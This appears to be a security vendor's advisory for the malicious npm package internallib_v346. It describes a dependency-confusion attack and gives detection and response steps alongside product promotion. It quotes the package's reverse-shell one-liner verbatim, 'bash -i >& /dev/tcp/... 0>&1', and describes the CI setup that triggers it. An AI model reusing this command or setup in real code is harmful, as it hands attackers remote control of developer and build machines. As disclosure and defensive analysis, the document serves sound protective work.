internallib_v346npm
internallib_v346 is a confirmed malicious npm package (MAL-2026-5613) that executes malicious code on install (malicious versions 1.0.3, 1.0.5, 1.0.9…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v346 (npm)
What this malware does
Package name targets an internal-only namespace and ships a reverse-shell payload. index.js line 5 unconditionally invokes exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.56.229/443 0>&1"') inside the first definition of the exported command function, opening an interactive shell back to the hardcoded RFC1918 address 10.0.56.229 on port 443. A second assignment to exports.command later in the file overwrites the export, but the malicious statement is evaluated whenever the first function body is reached and is shipped verbatim in the published tarball. The package also declares a self-referential dependency on internallib_v346: ^1.0.0 and includes a.gitlab-ci.yml that runs npm update --registry http://0.0.0.0:4873/ followed by node check.js, where check.js does require("internallib_v346"). The naming and CI shape are characteristic of a Birsan-style dependency-confusion attack against an organization's internal internallib_v346 package: when a victim build resolves from the public registry instead of the internal Verdaccio mirror, the reverse-shell code lands in the developer or CI environment.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v346 (6 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v346 across your stack and pipelines.
If you installed it — respond
Remove internallib_v346 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v346 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v346 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v346-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.